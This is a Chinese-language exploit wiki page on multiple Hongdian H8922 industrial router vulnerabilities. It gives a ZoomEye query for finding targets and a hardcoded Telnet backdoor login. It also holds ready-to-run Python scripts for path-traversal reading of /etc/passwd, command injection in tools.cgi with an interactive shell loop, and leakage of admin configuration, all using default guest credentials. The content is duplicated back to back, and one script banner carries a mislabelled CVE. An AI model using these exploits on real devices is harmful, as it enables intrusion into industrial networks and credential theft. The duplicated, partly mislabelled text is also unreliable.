# CVE-2021-28149 CVE-2021-28150 CVE-2021-28151 宏電 H8922 多個漏洞
==ZoomEye==
app:"Hongdian H8922 Industrial Router
==宏電 H8922 Telnet後門漏洞==
使用Telnet連接目標5188端口，賬號密碼為root/superzxmn
==宏電 H8922 後台任意文件讀取漏洞==
登錄後台(存在訪客用戶默認賬號密碼 guest/guest)
===POC===
import requests
import sys
import random
import re
from lxml import etree
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mTitle : 宏电 H8922 后台任意文件读取漏洞 CVE-2021-28152 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')
def POC_1(target_url, filename):
vuln_url = target_url + "/log_download.cgi?type=../..{}".format(filename)
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
print("\033[32m[o] 正在请求 {}/log_download.cgi?type=../../etc/passwd \033[0m".format(target_url))
if "root" in response.text and response.status_code == 200:
print("\033[32m[o] 目标 {}存在漏洞 ,存在访客账号 guest/guest 成功读取 /etc/passwd \033[0m".format(target_url))
print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
while True:
filename = input("\033[35mFilename >>> \033[0m")
if filename == "exit":
sys.exit(0)
else:
POC_2(target_url, filename)
else:
print("\033[31m[x] 请求失败 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
def POC_2(target_url, filename):
vuln_url = target_url + "/log_download.cgi?type=../..{}".format(filename)
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
print("\033[32m[o] {} \033[0m".format(response.text))
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__':
title()
filename = '/etc/passwd'
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url, filename)
==宏電 H8922 後台命令執行漏洞==
登錄後台(存在訪客用戶默認賬號密碼 guest/guest)
使用 ; 命令拼接執行任意命令
POST /tools.cgi HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 96 Cache-Control: max-age=0 Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 x-forwarded-for: 127.0.0.1 x-originating-ip: 127.0.0.1 x-remote-ip: 127.0.0.1 x-remote-addr: 127.0.0.1 Connection: close op_type=ping&destination=;cat /etc/passwd&user_options=uid%3D0%28root%29+gid%3D0%28root%29%0D%0A
===POC===
import requests
import sys
import random
import re
from lxml import etree
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mTitle : 宏电 H8922 后台命令执行漏洞 CVE-2021-28150 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')
def POC_1(target_url, cmd):
vuln_url = target_url + "/tools.cgi"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
}
data = "op_type=ping&destination=;cat /etc/passwd&user_options=uid%3D0%28root%29+gid%3D0%28root%29%0D%0A"
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
print("\033[32m[o] 正在请求 {}/tools.cgi \033[0m".format(target_url))
if "root" in response.text and response.status_code == 200:
print("\033[32m[o] 目标 {}存在漏洞 ,存在访客账号 guest/guest 成功执行 cat /etc/passwd \033[0m".format(target_url))
html = etree.HTML(response.text)
cmd_test = html.xpath('/html/body/div[1]/div/div[2]/div/form/fieldset[2]/div/textarea/text()')[0]
print("\033[32m[o] 响应为:\n{} \033[0m".format(cmd_test))
while True:
cmd = input("\033[35mCmd >>> \033[0m")
if cmd == "exit":
sys.exit(0)
else:
POC_2(target_url, cmd)
else:
print("\033[31m[x] 请求失败 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
def POC_2(target_url, cmd):
vuln_url = target_url + "/tools.cgi"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
}
data = "op_type=ping&destination=;{}&user_options=uid%3D0%28root%29+gid%3D0%28root%29%0D%0A".format(cmd)
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
html = etree.HTML(response.text)
cmd_test = html.xpath('/html/body/div[1]/div/div[2]/div/form/fieldset[2]/div/textarea/text()')[0]
print("\033[32m[o] 响应为:\n{} \033[0m".format(cmd_test))
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__':
title()
cmd = 'cat /etc/passwd'
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url, cmd)
==宏電 H8922 後台管理員信息洩露漏洞==
登錄後台(存在訪客用戶默認賬號密碼 guest/guest)
漏洞存在於 backup2.cgi 文件中
===POC===
import requests
import sys
import random
import re
import base64
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mTitle : 宏电 H8922 后台命令执行漏洞 CVE-2021-28150 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
vuln_url = target_url + "/backup2.cgi"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, verify=False, timeout=5)
print("\033[36m[o] 正在请求 {}/backup2.cgi.... \033[0m".format(target_url))
if 'service webadmin' in response.text and response.status_code == 200:
print("\033[32m[o] 目标 {}存在漏洞 ,存在访客账号 guest/guest 成功读取配置文件 \033[0m".format(target_url))
print("\033[36m[o] 响应为:\n{} \033[0m".format(response.text))
else:
print("\033[31m[x] 请求失败 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)
==參考==
https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
https://mp.weixin.qq.com/s/7lJkAb6M0nctv415juYPww==ZoomEye==
app:"Hongdian H8922 Industrial Router"
==宏電 H8922 Telnet後門漏洞==
使用Telnet連接目標5188端口，賬號密碼為root/superzxmn
==宏電 H8922 後台任意文件讀取漏洞==
登錄後台(存在訪客用戶默認賬號密碼 guest/guest)
===POC===
import requests
import sys
import random
import re
from lxml import etree
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mTitle : 宏电 H8922 后台任意文件读取漏洞 CVE-2021-28152 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')
def POC_1(target_url, filename):
vuln_url = target_url + "/log_download.cgi?type=../..{}".format(filename)
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
print("\033[32m[o] 正在请求 {}/log_download.cgi?type=../../etc/passwd \033[0m".format(target_url))
if "root" in response.text and response.status_code == 200:
print("\033[32m[o] 目标 {}存在漏洞 ,存在访客账号 guest/guest 成功读取 /etc/passwd \033[0m".format(target_url))
print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
while True:
filename = input("\033[35mFilename >>> \033[0m")
if filename == "exit":
sys.exit(0)
else:
POC_2(target_url, filename)
else:
print("\033[31m[x] 请求失败 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
def POC_2(target_url, filename):
vuln_url = target_url + "/log_download.cgi?type=../..{}".format(filename)
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
print("\033[32m[o] {} \033[0m".format(response.text))
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__':
title()
filename = '/etc/passwd'
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url, filename)
==宏電 H8922 後台命令執行漏洞==
登錄後台(存在訪客用戶默認賬號密碼 guest/guest)
使用 ; 命令拼接執行任意命令
POST /tools.cgi HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 96 Cache-Control: max-age=0 Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6 x-forwarded-for: 127.0.0.1 x-originating-ip: 127.0.0.1 x-remote-ip: 127.0.0.1 x-remote-addr: 127.0.0.1 Connection: close op_type=ping&destination=;cat /etc/passwd&user_options=uid%3D0%28root%29+gid%3D0%28root%29%0D%0A
===POC===
import requests
import sys
import random
import re
from lxml import etree
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mTitle : 宏电 H8922 后台命令执行漏洞 CVE-2021-28150 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')
def POC_1(target_url, cmd):
vuln_url = target_url + "/tools.cgi"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
}
data = "op_type=ping&destination=;cat /etc/passwd&user_options=uid%3D0%28root%29+gid%3D0%28root%29%0D%0A"
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
print("\033[32m[o] 正在请求 {}/tools.cgi \033[0m".format(target_url))
if "root" in response.text and response.status_code == 200:
print("\033[32m[o] 目标 {}存在漏洞 ,存在访客账号 guest/guest 成功执行 cat /etc/passwd \033[0m".format(target_url))
html = etree.HTML(response.text)
cmd_test = html.xpath('/html/body/div[1]/div/div[2]/div/form/fieldset[2]/div/textarea/text()')[0]
print("\033[32m[o] 响应为:\n{} \033[0m".format(cmd_test))
while True:
cmd = input("\033[35mCmd >>> \033[0m")
if cmd == "exit":
sys.exit(0)
else:
POC_2(target_url, cmd)
else:
print("\033[31m[x] 请求失败 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
def POC_2(target_url, cmd):
vuln_url = target_url + "/tools.cgi"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
}
data = "op_type=ping&destination=;{}&user_options=uid%3D0%28root%29+gid%3D0%28root%29%0D%0A".format(cmd)
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5)
html = etree.HTML(response.text)
cmd_test = html.xpath('/html/body/div[1]/div/div[2]/div/form/fieldset[2]/div/textarea/text()')[0]
print("\033[32m[o] 响应为:\n{} \033[0m".format(cmd_test))
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__':
title()
cmd = 'cat /etc/passwd'
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url, cmd)
==宏電 H8922 後台管理員信息洩露漏洞==
登錄後台(存在訪客用戶默認賬號密碼 guest/guest)
漏洞存在於 backup2.cgi 文件中
===POC===
import requests
import sys
import random
import re
import base64
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mTitle : 宏电 H8922 后台命令执行漏洞 CVE-2021-28150 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
vuln_url = target_url + "/backup2.cgi"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, headers=headers, verify=False, timeout=5)
print("\033[36m[o] 正在请求 {}/backup2.cgi.... \033[0m".format(target_url))
if 'service webadmin' in response.text and response.status_code == 200:
print("\033[32m[o] 目标 {}存在漏洞 ,存在访客账号 guest/guest 成功读取配置文件 \033[0m".format(target_url))
print("\033[36m[o] 响应为:\n{} \033[0m".format(response.text))
else:
print("\033[31m[x] 请求失败 \033[0m")
sys.exit(0)
except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)
==參考==
https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
https://mp.weixin.qq.com/s/7lJkAb6M0nctv415juYPww
© 版权声明
文章版权归作者所有，未经允许请勿转载。
THE END
请登录后查看评论内容